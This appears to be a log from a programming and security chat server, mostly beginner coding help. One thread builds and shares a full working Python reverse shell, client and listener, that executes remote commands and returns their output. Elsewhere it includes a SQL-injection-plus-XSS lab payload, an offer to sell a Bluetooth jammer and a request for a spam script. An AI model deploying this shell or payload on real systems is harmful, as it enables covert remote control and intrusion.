And here we see why proper unit testing is important 🙂
It should be in options.pcap
Please recommend a solid beginner lever course covering C++ or C#? Currently hearing mixed reviewss about Codeacademy Pro. Thanks
thank you 🙂
Gave +1 Rep to @brazen eagle
A snippet from Singly Linked List.
struct Node * insertAtIndex(struct Node *head, int data, int index){
struct Node * ptr = (struct Node *) malloc(sizeof(struct Node));
struct Node * p = head;
int i = 0;
while (i!=index-1)
{
p = p->next;
i++;
}
ptr->data = data;
ptr->next = p->next;
p->next = ptr;
return head;
}```
Full code here : https://pastebin.com/m5TG7fkg
_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
Now **my question** is for these lines :
```while (i!=index-1)
{
p = p->next;
i++;
}
ptr->data = data;
ptr->next = p->next;
p->next = ptr;```
Suppose I give 3 as index as argument, so here in the while loop it will check for (index-1) i.e 3-1 = 2, so the loop will run two times...
LINKS:
//head->next = second;
//second->next = third;
//third->next = fourth;
//fourth->next = NULL; ```
Now in the
1st run:
head = head->next;
i++
}```
2nd run :
```while(1 !=0){
second = second->next;
i++;
}```
3rd run :
Logical operator outputs 0 so while loop stops.
So the final value for p should be?
1. ```second = second->next ```
or
2. ```second = third ```
If we take p as in 1, then we have a variable whose value we can update but if we take 2nd case then, we will make a circular list?
Because when we will update the pointers in the next line.. they will point to one another.
In the last line of code snippet.
```ptr->next = p->next;
p->next = ptr;```
here what should we replace p->next with? if we take p = second->next, then
Would it be like :
```second ->next->next```
An extra next then it will be like third->next?
Or
2. p->next completely replaced by just second->next ?
(no extra next's)
If we take the 2nd case then the code would work fine... But why the 1st case won't happen? We have a value for p and we substitute it?
TL;DR : I am asking should we take the extra next? Why, why not.
**THE CODE RUNS PERFECTLY FINE**
why don't you try drawing it out on paper?
Second Hydra's suggestion. Drawing it out on paper or a whiteboard is one of the best things you can learn to do when you need to understand how an algorithm works.
it's stupid but it's amazing how well it works
It's really not stupid though - visualization can really help bring it all together, especially when dealing with abstractions like pointers
arrows. arrows everywhere.
ifconfig | grep -w 10.* | awk -F inet {'print $2'} actually i am trying to see my IP only using bash but i got this kind of output ```
<Tun0IP> netmask 255.255.0.0 destination <Tun0IP>
ifconfig is deprecated
i am doing it locally
ok? how does that change ifconfig being deprecated?
actually i thought that i should make a script that generates rev shell codes
i mean it takes my IP and then generate it
many reverse shell source files have a variable that stores a dummy IP address. Get the IP of where the shell should reach out to, copy the original shell file, sed -i the dummy IP to your IP. It shouldn't be super difficult
ohk thanks for your time and help juun
Gave +1 Rep to @magic falcon
These regex's are always fun TBH
I'm having trouble with a reverse shell I'm making in python
def client_shell(c):
while True:
cmd = input(">>>")
if cmd == "":continue
else:c[0].send(cmd.encode())
result = c[0].recv(1024).decode()
print(result)
if cmd.lower() in ["quit", "exit", "q", "e"]:
break```
this is my side
Are you looking to make a reverse shell or a tunnel?
def get_command():
while True:
try:
command = (s.recv(1024)).decode()
output = shell(command)
if output != "":s.send(output.encode())
except:
pass
connect()```
As in, one is the client & one is the server
A tunnel, not a reverse shell
What imports are you working with?
subprocess for the shell commands, and socket for the connection
def shell(cmd):
output = subprocess.run(cmd, capture_output=True, shell=True, text=True, encoding="cp850")
return output.stdout```
the problem im facing is that whenever i send a command to the client, if the command is invalid, it doesnt send back an empty output, instead, the server side is stuck waiting for an answer
I misspoke again. Its a reverse shell. The server is the listener and the client is the one connecting
Sure
pc\smajl
>>>echo hi
hi
>>>jhnsdjfg
``` its just stuck at the end with a blank line waiting for output
Okay, so
Which is your client and which is your server?
I mean, in the code, not in what I replied to 😆
### SERVER SIDE, starts a shell with connection from client (c)
def client_shell(c):
while True:
cmd = input(">>>")
if cmd == "":continue
else:c[0].send(cmd.encode())
result = c[0].recv(1024).decode()
print(result)
if cmd.lower() in ["quit", "exit", "q", "e"]:
break
### CLIENT SIDE, recieves command (1024 bytes) and runs it with a shell function i created,
### then sends back the output of command to server
def get_command():
while True:
try:
command = (s.recv(1024)).decode()
output = shell(command)
if output != "":s.send(output.encode())
except:
pass
connect()
# Shell function, runs command (cmd) and returns output (stdout)
def shell(cmd):
output = subprocess.run(cmd, capture_output=True, shell=True, text=True, encoding="cp850")
return output.stdout```
this is not the entire file, i just took the relevant code snippets out and sent it as one message
I'm not sure if its the shell function or the s.send(output.encode) thing that is causing the server side shell to freeze
things like whoami and dir work perfectly, but it stops working whenever the command i give it is incorrect. When i tried using the shell function in python console using a command that doesnt exist, it just returns an empty "" output, which (i think) shouldn't be causing any errors
No, i just took out code snippets and sent it as one message
Oh, I see.
Oh I didn't take a look at stderr. Thanks, ill see if i can fix it
I don't think so
CompletedProcess(args='dgfgmj', returncode=1, stdout='', stderr="'dgfgmj' is not recognized as an internal or external command,\noperable program or batch file.\n")
This is command that does not work
CompletedProcess(args='whoami', returncode=0, stdout='pc\\smajl\n', stderr='')
This is a working one
I honestly need all of your code to debug, I can't do much with snippets, sorry
return output.stdout+output.stderr
ezpz
Ill test that
damn it actually worked lmao
Thank you
Gave +1 Rep to @onyx merlin
def shell(cmd):
o = subprocess.run(cmd, capture_output=True, shell=True, text=True, encoding="cp850")
if o.stdout != "" or o.stderr != "": return o.stdout + o.stderr
else: return str(o.returncode)```
This is what i came up with in the end. It handles if you type a command correct, incorrect, or if you start a program
Because returning stderr + stdout didnt work if you did something like "notepad" because it returns both as empty, so instead i return a returncode which is never empty if both stdout and stderr is
if len(PAYLOAD) > 0:
command = subprocess.Popen(cmd[:].decode("utf-8"),shell=True, stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE)
output = str(command.stdout.read() + command.stderr.read(), "utf-8")
SERVER.send(str.encode(output))
print(output)
Ill use that. Thank you
Gave +1 Rep to @true pumice
I mean you can return nothing, that's not a problem
Nothing/empty string
The problem is, whenever it does that, the console freezes for some reason
I nested the thing in a try except so ill check what error it gives me when the output is empty
Don't do that though
Really not good
You can catch specific types of exceptions, ones that you expect
The reason I did that initially was because I wanted the revshell to go unnoticed if it spit out any error, but i've removed it
Removing the try except thing didnt help anyways because I still get no output whenever the client sends me an empty string as output
The client side doesnt give me any errors either
If it opens notepad, it'll only return when notepad exits
Exiting doesnt seem to work for me
Might be that i replaced notepad with sublime on my pc lmao
That didnt seem to change anything. I tried doing "control" (opening control panel) and it gave me the same problem
Because all of your cases are mutually exclusive
If it's a multiple of three, it doesn't check if it's a multiple of 5 or 3&&5
Now you can do it this way, but you need to think very carefully about the order the comparisons happen in
else if (i % 3 == 0) && (i % 5 == 0)
i dont get it
No, you don't. Yet.
Think about this.
i thought about it and tried this "else if (i % 3 && 5 == 0)"
i still dont get it
What do you mean by tried this?
What did you do with it? Where did you put it?
Ok, that doesn't address what I was saying at all
I'm not talking about the contents of the comparisons
I'm talking about something really fundamental. What's the difference between two if statements one after the other, and an if followed by an else if?
i dont know to be honest but that worked thanks
Gave +1 Rep to @onyx merlin
There's still a big issue with this code
14 Fizz FizzBuzz 16 is wrong.
And you really really really need to understand the difference between two ifs and an if elseif else structure.
yeah youre right i just noticed that and yeah im looking it up right now so i know what the difference is
@spare swan
def client():
import socket
SERVER = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
HOST = '127.0.0.1' # Replace with your VPN IP
PORT = 9001
SERVER.connect((HOST, PORT))
return SERVER
def listen(SERVER):
import os
import subprocess
while True:
PAYLOAD = SERVER.recv(1024)
if PAYLOAD[:2].decode("utf-8") == "cd":
os.chdir(PAYLOAD[3:].decode("utf-8"))
if len(PAYLOAD) > 0:
COMMAND = subprocess.Popen(PAYLOAD[:].decode("utf-8"), shell=True, stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE)
OUTPUT = str(COMMAND.stdout.read() + COMMAND.stderr.read(), "utf-8")
DIRECTORY = os.getcwd() + "> "
SERVER.send(str.encode(OUTPUT + DIRECTORY))
print(OUTPUT)
def main():
listen(client())
if __name__ == '__main__':
main()
import socket
def bind(HOST, PORT, SERVER):
if HOST == '':
HOST = '0.0.0.0'
while True:
try:
print(f"Running on {HOST}:" + str(PORT))
SERVER.bind((HOST, PORT))
SERVER.listen(5)
break
except socket.error as ERROR:
print("Socket Binding error" + str(ERROR) + "\n" + "Retrying...")
def accept(SERVER):
CONNECTION, ADDRESS = SERVER.accept()
print("Incoming connection from " + ADDRESS[0] + ":" + str(ADDRESS[1]))
send(CONNECTION, SERVER)
def send(CONNECTION, SERVER):
import sys
CONNECTION.send(str.encode("whoami"))
RESPONSE = str(CONNECTION.recv(1024), "utf-8")
print(f">whoami {RESPONSE}", end="")
while True:
try:
COMMAND = input()
if len(str.encode(COMMAND)) > 0:
CONNECTION.send(str.encode(COMMAND))
RESPONSE = str(CONNECTION.recv(1024), "utf-8")
print(RESPONSE, end="")
except KeyboardInterrupt:
CONNECTION.close()
SERVER.close()
sys.exit()
def main():
try:
HOST = '' # Leave blank, listens on all interfaces
PORT = 9001
SERVER = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
except socket.error as ERROR:
print("Socket creation error: " + str(ERROR))
bind(HOST, PORT, SERVER)
accept(SERVER)
if __name__ == '__main__':
main()
Wow thank you! I'll test both of them right now
Gave +1 Rep to @true pumice
It's working good. Just a heads up. Some commands like dir and tree use "cp850" as encoding so using those commands with utf-8 encoding crashes the programs
Don't use them 😎
It's only a quick write-up, going to optimise it tomorrow, it's midnight rn
Don't use the code?
Is a joke, will update tomrorow
Sure
Anyone here has experince with frontend/backend ? I need some guidance in reactJS code
yes, but just post your problem
ok so what im doing currently is I have this small project
I made this button in the frontend, which when you click, should display an image
the image is stored all the way in the backend
*/ its an image of a dendrogram
thats the function, OnDendogram, which is being called later onwards in the code
this all is in the Frontend in /src/Components/Dashboard.js
and the picture is in /backend/
@sullen venture @jolly osprey ^ thats the context
what exactly do you mean by "backend"? just a folder called backend or a server?
so i have a folder called backend, which has a python script, which runs few code,
then i have a folder which is called frontend, which does some styling and when u click few buttons on it, it uses the backend (running in a flaskenv) and runs some algorithms
I can't answer your question, but please don't ping us. This channel will be monitored by anyone interested in programming, and will answer in their own time. Just a bit of etiquette, no worries
so technically you could show that image with the path "./some/path/backend/dendogram.jpg"? my first guess would be creating a state for showing the image, a conditional depending on the state in your jsx showing either the image or null. or what exactly is the problem problem?
so the problem which im stuck on is,
I don't know how to code a button which does the following
1.) When I click the button "Dendogram", it shows an image (it could be in another popup window or on the entire webpage)
2.) That Image is stored in the backend folder, Sometimes it results in an error that I cannot bring files from backend to the frontend
Supposed to be a reverse shell?
That's not the point lmao
Aight
It's all about the challenge, to see if you can code it
Yeah
No point in going through life copying from pentestmonkey
Well not tht but
I can code it
Bruh im makig an exploit but i feel like its an overkill
Making*
You learn from it.
Well never verified tht it actually is and im thinking if i should finish it or not
anyone know how to stop burp from reporting a certain issue with the extender api?
i've implemented the doPassiveScan method and have it creating an issue, but i also want to stop burp from reporting one of its default issues
Any one suggest me projects to improve my c
I am a beginner but love the feeling when you understand something ,you didn't have a clue the first day.
an assistant program that generates something (such as a weekly food menu with prices) and stores them into a file (txt, json, ect) for later viewing
c compiler
First, realize that, in terms of addresses, the stack grows downwards on x86 machines. Would
buffer overflows be less serious, if the stack would grow from zero towards higher memory addresses
instead? Justify your answer briefly.
This sounds like homework
Right. But it's homework. So your first person to ask is the instructor
I have an intuitive answer....
but yeah in general we don't answer homework assignments, they are there to a) evaluate what you (not the internet) knows, and to b) prompt you to do a minimum of research
Hm interesting question
I'm probably not qualified for answering it so don't take this as an answer, but doesn't that only have impact on ROP chains?
Think about||what's at the end of a stack frame, which is what you can overwrite to change code flow||
Hello guy's, please I have assignment given to me
Tasks
Access your sandbox and:
Change your working directory to /root
Then, create an empty file so_cool
Advices:
Don’t forget to validate your current working directory
Don’t forget to display the list of files of your current directory to validate the creation of the new file
What should I do here
Is this a school assignment?
It's an E-learning class on software engineering
If the directions of the assignment are unclear, or you need help understanding the directions, please see your instructor.
opengl over vulkan?
I have try to use termus to link ssh to my e-learning ssh
What part of 'we don't help with homework' do you not understand?
dm me if interested in l33t hakka tool that slaps Bluetooth signal :3
@lilac holly what
dm me
Why can't you explain here?
Use your words
I'm dyslexic am selling Bluetooth jammer tool deved by me personally
Hey, can you turn your DMs on/ add me
You know that's federally illegal right?
*How can I
How can I fix the attributeError issue
Yes I have,it doesn’t seem to help
Editing the module and rewriting something I don’t know…
https://pypi.org/project/python-nmap/ see the usage
Let me go through them
You can spot the mistake right away
hey everyone, I'm working on a personal project to try and exercise/ grow my python knowledge. One thing I want to dabble with is non-volatile memory and file manipulation. I want to basically store information in a formatted context so I can read and edit it later. The two file formats I was looking at was either txt with some regex and groups, or json. I already began to build the json file, how its formatted, the handlers, ect. I was wondering if there were other methods (file formats or anything) that are more relevant to an application like this or more commonly used so I can practice using it (or if anyone has any other suggestions, im always open them :) )
I'll take a look into it thank you! I have never heard of it.
It worked by uninstalling nmap and reinstalling python-nmap
so I looked at it, and from my understanding its used mainly for storage of large data sets. I have a few questions about it
- how often is it used/ how often have you used it or encountered it?
- does it work ok with a lot of potential back to back read/write operations?
You need a database
would something like sqlite be worth looking into then?
That's indeed a database, good for small scale stuff.
That's exactly what I'm looking for then, thank you again.
can someone suggest me a good course for java script? i am new and don't know which one should i select
Ngl, I’d suggest doing a beginner python course and learning the basics, then go into JS tutorials. Will be so much easier
ok thanks alot
Gave +1 Rep to @true pumice
Anyone got any interesting project going on?
I have a bunch, just moving between them as I go
A lot of my projects are just tools so that I can use my own tools instead of others, but a few are for fun
I understand and i agree feels good to do that!
n
@true pumice jabs jabs, plz pin
I'll pin it if you copy and paste it so that all the links become hyperlinks :p (may have to remove embeds on them all)
Resources for learning python:
- https://youtu.be/rfscVS0vtbw
- https://www.w3schools.com/python/
- https://www.youtube.com/watch?v=8DvywoWv6fI&ab_channel=freeCodeCamp.org
Practice Python:
- https://edabit.com/challenges/python3
- https://www.w3resource.com/python-exercises/python-basic-exercises.php
Resources for learning javascript:
- https://www.youtube.com/watch?v=PkZNo7MFNFg&ab_channel=freeCodeCamp.org
- https://www.w3schools.com/js/DEFAULT.asp
- https://www.youtube.com/watch?v=2qDywOS7VAc&ab_channel=Academind
Practice Javascript:
- https://edabit.com/challenges/javascript
- https://www.w3resource.com/javascript-exercises/javascript-basic-exercises.php
Resources for learning html:
- https://www.youtube.com/watch?v=pQN-pnXPaVg&ab_channel=freeCodeCamp.org
- https://www.w3schools.com/html/
Resources for learning css:
Build a website with html and css:
https://youtu.be/ZeDP-rzOnAA
Resources for learning java:
Practice Java:
Resources for learning C:
Resources for learning C++:
Resources for learning C#:
Resources for learning LUA:
anyone up? need help for java
Please, how can I used termux to do my task on ALX.. I'm using my phone, how do I connect my git to work in webterminal aka " termux " I will clone git repository"
They needed help with an assignment.
well I extracted an ISO from forza horizon 2 for xbox 360 and I wanted to modify its audio files to put other music but I don't know where to start or what I need, can anyone help me?
I won't make this available for obvious reasons, it's just to have other songs in the game anyway
Not sure if we can help with that here
Seems that Forza often bans any type of modification, whether or not it’s to get a competitive advantage or just cosmetically
ah yes but in my case I don't play online, it would just be to drive listening to other songs on the radio you know?
How could I miss this? This should be pinned as in mine of useful informantion. Thank you.
Gave +1 Rep to @vestal carbon
it is pinned
Is okay for me to proceed in this order: Powershell >> Python >> C# / C++ ?
That'd be illegal as you'd have to bypass yhe copy protection
I understand...well, thank you very much!
Gave +1 Rep to @onyx merlin
I remember on the old OG Xbox you could save music to the console and play it in the background of GTA and stuff.
this is my debug process
pretty good one for me
Ben we need to have a conversation about best practices on this subject
.. You don't!?
If it's something I'm knocking about for fun I don't.
Hi everyone, can we ask for help and tips on this channel?
As long as it's not for homework.
Im trying to get the hang of SQLi and XSS, and starting to get the hang of it.
However: In my lab i made this: a'"; UPDATE users SET name=<script>alert('Malicious activity')</script> WHERE name="John";--"
This seems to me to be an example for Stored XSS, since the script is entered in the DB, and is run when another user looks up "John".
But is this an example of Store XSS? Or is this SQL injection, since i am injection a script using a query? ... or neither? 🙂
(Please send me in the right direction if im in the wrong place 🙂 )
True, that makes sense...
i don't know what the context is but
in a pentest, you'd have two separate findings there
Is it? It's abuse of SQLi to inject an XSS, there's no real XSS injection point, it's just weaponising the SQLi
Assuming the name is filtered properly on input, it's not really a second finding?
ideally input should be sanitised ingress and egress
Disagree. Ideally it should just be handled safely. Let them have whatever special chars they want. Filtering bad.
i agree
but it's not being handled safely
because the js is still being executed
not outputted as text
Arguably it's a failure of filters on both sides too, because you had to somehow put the payload in
At that point you're best just using the sqli to get all the info you need rather than fiddling with xss, no?
Yeah, definitely
If the input is properly sanitized it should no longer be executable
Point being you could fix the sqli by using prepared statements but you'd still have an XSS
Because input isn't being filtered, nor is output
But I mean technically a stored xss would likely be using SQL to store the xss ..
I don't see how that'd counter anything though
If you're using prepared statements, it's still going to store the payload
Exactly, but sanitizing the input should be sufficient
Filtering special chars is sad and unnecessary if you have written good code
I'd mitigate the XSS separately, by making sure the content is injected into the page sensibly
Eg using textContent over innerHtml in JS
just curious but how many of y'all do embedded systems programming?
in theory and academically speaking yes
I do program (on) embedded systems
but I am not an embedded systems programmer
the difference being you aren't writing stuff like linker files?
more or less 😄
that and although I do program embedded systems I'm no where near comfortable enough to call myself an expert / knowledgeable
Yeah I've done the intro to embedded systems course on coursera and another really good one on github but wondering what else to do
I'm basically messing with arduinos and following the Arduino Workshop and Bare Metal C books
arduinos are a nice playground
I mean is that low-level enough? It seems super convenient that you never have to write out any hardware abstraction layers
I have done a couple of professional and professional-ish projects on embedded systems
Arduino is a bad place to start for embedded; if you go into a job interview for embedded with arduino being on your resume, you will likely not make it past that round
really?
wow
I mean, I'd have thought they're nice platforms to implement certain design considerations like power, memory management, etc
What's a good place?
A lot of embedded devices are using ARM Cortex chips; NXP, STM are both very common dev boards for RTOS, RTOS-lite, and bare metal applications
Yeah Bare Metal C teaches on an STM dev board
Arduino and rpi are both looked down on by 'real embedded engineers'. Many of those folks are very old school, and see the arduino as being too easy. A lot of that comes from the tolerances that arduino can accept and output on GPIO
I'm doing arduino more for the hardware aspect
You'll get more traction if you want to do embedded professional if you by an F-series STM board and use something like mBed than you will with using an Arduino Uno; some of the bigger Arduino boards (MEGA, I think?) can run a full kernel, but I don't think those are particularly accepted in industry, either.
An alternative would be to actually run RTOS and do some robotics prototyping.
That sounds super fun and yeah I've been flip-flopping between arduino and the STM board. It's funny how much easier it is doing stuff on arduino than on the Nucleo board
That's by design; arduino was a project intended for grammar school and middle school kids to get their feet wet with robotics projects; it's not intended for industry grade projects
That's why you can drive up to 12v out of the GPIO on an arduino for basic DC motor controls, but that would fry a Nucleo or Freedom board.
12V from an arduino mega?
IIRC from the Uno
hmmmm I think the Uno requires a BJT to drive stuff higher than 5V like a relay
Probably; I watched a junior engineer burn out a half dozen NXP boards driving motors before he asked for help
LMAO oh no!!!
The problem was, the motors were drawing way more current than the NXP could draw (I think 500mA?) and toasted the board
We threw in a couple of h bridges and a real power source, all was fine
Good deal! You have a preferred NXP board for RTOS development?
It's been 6 years since I touched that world, I would imagine you can just pick your favorite off digikey or arrow and have at
Thanks, appreciate your insight man!
answer = int(input("(1) Addition\n(2) Subtraction\n(3) Multiplication\n(4) Division\n(5) Remainder\n(6) Exit\nChoose an option\n"))
if answer == 1:
x = int(input("X: "))
y = int(input("Y: "))
print(f"Sum of {x} and {y} is", (x + y))
print("------------------\n")
time.sleep(3)
elif answer == 2:
x = int(input("X: "))
y = int(input("Y: "))
print(f"Difference of {x} and {y} is", (x - y))
print("------------------\n")
time.sleep(3)
elif answer == 3:
x = int(input("X: "))
y = int(input("Y: "))
print(f"Product of {x} and {y} is", (x * y))
print("------------------\n")
time.sleep(3)
elif answer == 4:
x = int(input("X: "))
y = int(input("Y: "))
print(f"Quotient of {x} and {y} is", (x / y))
print("------------------\n")
time.sleep(3)
elif answer == 5:
x = int(input("Dividend: "))
y = int(input("Divisor: "))
print(f"Remainder of {x} and {y} is", (x % y))
print("------------------\n")
time.sleep(3)
elif answer == 6:
break;
else:
print("Usage: 1, 2, 3, 4, 5, 6") ```
calculator i made what do you guys think
are you talking to me?
There's a principle called "DRY" - Don't repeat Yourself
You're asking the user for x and y no matter what, so duplicated code in each branch is nasty.
That's seems more complex than mine.
num1 = int(input("First number :"))
op = input("Which calculation would you like to do? :")
num2 = int(input("Second number :"))
if op == "+":
print(num1, "+", num2, "=", (num1+num2))
elif op == "-":
print(num1, "-", num2, "=", (num1-num2))
elif op == "*":
print(num1, "*", num2, "=", (num1*num2))
elif op == "/":
print(num1, "/", num2, "=", (num1/num2))
else:
print("No valid op provided")```
That was the first thing I ever done, and I learned not to do it again 😂
You should be parsing the command line parameters rather than prompting.
What happens if you have embedded calculations as well?
Like 5 * 1 + 2
Prompting is never the most efficient way to get data, and also hurts interaction with other programs and/or automation tooling
/rant
Thank you for the motivation !!! 😂
who can help me with some python?
You'll get a faster answer if you just ask the question.
for index in range(len(list)):
print(str(index))```
what can i do insted to get index of a looping object?
there's the enumerate function which gets the index and element in the list so
for i,e in enumerate(list):
print(f"index is {i} and element is {e}")
thank you, that is what I was looking for
Gave +1 Rep to @tropic minnow
how did you highlight the code?
```python
<code goes here>
```
thank you again
that's true , thanks for the feedback
Gave +1 Rep to @onyx merlin
lol yeah it looks like you had almost the same idea, that was the first thing i have ever done too so ill probably learn not to do it again too once i learn more
yeah you're right, i was 1 hour into introduction to python programming when i made that so i haven't even got into command line arguments with python yet
I've done a few things on python for quickness, ended up doing a whole security script.
oh wow yeah, you made a security script? what does it do and where did you learn python if you dont mind?
argparse is surprisingly nice
I like argparse. It's not the cleanest CLI implementation, but it is part of the standard library
That was the first draft, I'm still adding to it.
right, it's surprisingly ok
and significantly better than trying to roll your own
in python, is a way to use a request from BurpSuite ?
definitely
you might need to write a Burp module
nicee, i was trying to think of a security tool to make too without reinventing the wheel though
not saying yours is but i want to make something that hasn't been done before
and... how hard it is ?
not too hard, but I've never tried the python APIs
okay thank you
Gave +1 Rep to @brazen eagle
i want to make a script that make spam with a spcific request
i want to use this script only for me
not to do stupid things
maybe check out how they made this
ok
but idk
be warned that DOSing live targets is a bannable offence
i dont know if the "Repeater" from BurpSuite do the same thing
and a federal offense in the US
I would recommend against dropping denial of service scripts when an administrator is telling a user that they want to avoid doing something unethical. Whether or not you had a negative intention, there's no ethical way to use a DoS tool.
is an APP named "NGL anonymous q&a" i created an account on this app and i want to see if exist a way that someone can spam me with messages like "asd" "asdasdsdfadsfasdf" "asdasdas" etc etc
Did you get permission to pentest the app?
is not really a pentest
ah yeah thats true, sorry for posting that
just send more messages
You're using the app's functionality in an unintended way to achieve a specific response. Sounds like you're testing for something.
yeah, but i dont make an illegal thing
yeah it's a strange app, but I assume it can be abused
i just send a lot of messages to me
you probably don't need burp tbh
can you make a loop in bash with curl
the stupid thing is that you dont need to make an account to send messages to another person
probably, but you'll have to rate-limit to avoid overloading the service
but I'm going to stop that line here
this is my link
I'm removing that ^
so from what I can see, using any form of automation is against the app's ToS https://nglapp.com/p/terms
they also stipulate that they can take legal action against you
so I suggest you cut your losses here 🙂
nope 
good answer
just for curiosity, if i would have used on my account, there would have been no problem
Look at the first bulletpoint from Hydra
browsing.py```python
import undetected_chromedriver as uc
from selenium.webdriver.common.by import By
from selenium.webdriver.chrome.options import Options
from sys import argv
def getLastChapterANDmangaName(url):
options = Options()
options.add_argument("--headless")
driver = uc.Chrome(options=options)
driver.get(url)
lastChapter = str(driver.find_element(By.CSS_SELECTOR, "html#site_type body div#main-page.page div.page__inner div.container.container_responsive div.media-container div.media-sidebar div.media-info-list.paper div.media-info-list__item div.media-info-list__value.text-capitalize").text)
mangaName = driver.find_element(By.CLASS_NAME, "media-name__main").text
print(f'{lastChapter}¿{mangaName}')
driver.quit()
#return lastChapter,mangaName
if name == "main":
getLastChapterANDmangaName(argv[1])
main.py ```python
import subprocess as sb
def getMangaInfo(url): # https://mangalib.me/promisecinderella?section=info
p = sb.Popen(["python3", "browsing.py", url], stdout=sb.PIPE)
out, err = p.communicate()
out = list(out.decode("utf-8").replace('\n', '').split('¿'))
print(out)
return out
how can i change the code that i could just import the function getLastChapterANDmangaName() from the first code but without if __name__ == "__main__": it doesn't work
Put all the code in a function,
Then do
if __name__ = ‘__main__’:
function()
Then you go into the file you want to import it into and do from file_name import function_name
I already just did a wrapper function and it works
Thanks anyway
Gave +1 Rep to @true pumice
It’s best to let use know when you’ve resolved your problem^
Im sorry
What are you scraping?
A girl asked me to develop a telegram bot that will send a message to her each time new chapter from her manga tracking list will release
or maybe she can use anilist or mal 
I'm trying to create a bot for a candy crush clone, i want to exploit the fact that after a few seconds the game shows you the best move by making the line of candies glow and pulse (zoom in a bit then back to normal) and the one candy that needs to be moved does the same thing but it also moves in the direction you need to swipe to and then back to normal. They do this endlessly, i was thinking of using opencv to find the only element on the screen that is moving in one direction and not just growing in all directions but i don't have a clue on how to start, what should I put my effort into?
All the automation up to that point was done with pyautogui
Is it possible to call variables with something like f”variable _{number}” in python?
If you're looking to generate dynamic variables, it is possible but messy and requires you to mess with globals()
But can I then call them dynamically?
You can do it with dictionaries however but this also has it's problems.
I think something like this should work:
dictionary = {}
x = 0
while x < 10:
key = "name"
value = "value"
dictionary[key] = value
x += 1
But, I prefer to do
for i in range(1, 11):
globals()[f"variable{i}"] = i
print(variable1)
How can I print(variable{num})
One way would be to get them manually from globals, print({k: v for k, v in globals().items() if not k.startswith("__")})
you call functions and objects, you reference variables. If all you need is a map of IDs to values, just use a dict or possibly a set
I want to create many class objects, save them with pickle and load with different variable names
Honestly, I avoid dynamically generating variables. It's messy
In your opinion it is better to do dictionary?
Much
Store data in a dataframe or map of some kind, you don't need to go through a hassle of dynamically naming vars.
I see now, thank you @magic falcon @true pumice
Gave +1 Rep to @magic falcon
np
+rep @true pumice
Gave +1 Rep to @true pumice
lmao
just making sure the bot is fair....
That's more for template strings
I know, I was asking if there is a way to do same thing with variables
You can treat functions as variables
Eg, I'll do a demo quick
ok so implicit references, cool
I’ve mistaken
everything is a pointer in python, they just don't tell you that
So kinda like java then
yeah
What is your learned opinion on this site : https://www.learn-c.org/ and it's free too ? My freind just sent it to me.
Anyone good with python??
Im having trouble with a creating a function
What specifically?
Could you show the code and what your trying to do?
Also, if you want to post images you have to verify so better do that
!docs verify
def self destruct(x):
authorized_test =“000-Destruct-1”
authorized_final= “000-Destruct-1”
i am supposed to create variables for commanding officers code (co_code), executive officers code(xo_code), and chief engineers code (ce_code)
I started off by putting
co-code =
xo-code =
ce-code =
Okay, so do you know how to pass parameters to functions?
Firstly, def self destruct(x): you can't have spaces in function names, replace it with something like this def self_destruct(x):
I apologize “def self_destruct” is how it is written into the code just miss typed
Is this homework?
Yes, i been looking through videos to try and see if they show how to create function, but they arent helping all well
Ah we can't help with homework sorry
How am i able to learn ?
Your first source for help for assignemnts should always be the professor. It may be unethical according to your student ethics code and course syllabus to ask for outside help.
if you don't understand how to write a function, the official python docs have a set of examples. Failing that, your course notes and materials should have adequate explanation as well.
No offense but why cant i get help with learning how to create a variable for a custom function . The videos i al given are creating numbered variables with multiplication inside of the code but im supposed to be creating a variable for a code
Isnt this a tutoring discord
Not tutoring specifically; There are a lot of reasons why we are reluctant to assist with schoolwork. The first is that it may be unethical according to your schools honor code. Violating that honor code, if it were reported, could see you expelled.
Second, your instructor may consider outside help cheating. We cannot verify whether or not that is the case.
Third, help we give may send you looking down a path that actually hinders you in learning the things your instructor is trying to teach.
And finally, if you are looking for the basic understanding of how python works, the python documentation is publicly available.
Okay, im not going to say anything else…🫠
Hello!
traceroute to 10.10.98.144 (10.10.98.144), 30 hops max, 60 byte packets
1 10.4.0.1 (10.4.0.1) 121.582 ms 122.285 ms 122.284 ms
2 * * *
3 * * *
4 10.10.98.144 (10.10.98.144) 378.874 ms 377.553 ms 377.889 ms
to anyone reading this, am i getting this right
im wondering why 2 and 3 has no traceroute returned
im guessing that with ttl set to 2 or 3, we dont get any reply from a router
Yeah that sounds right, those routers probably block ICMP messages or something
oh yea, might probably be blocking it
but if it block them, how does it reach to router 4
with ping -R, i get the route the ping took
and the ips given is pingable
but im wondering why im not getting the same output with traceroute
or at least somehow similar
hmm, yeah I dont think I know enough to make a guess as to why that might be happening
same, wondering how it works
Hopefully someone with more knowledge will come along and answer your question then
arr=("$(cat)" "$(cat)" "$(cat)")
echo ${arr[*]}``` why does this not work?

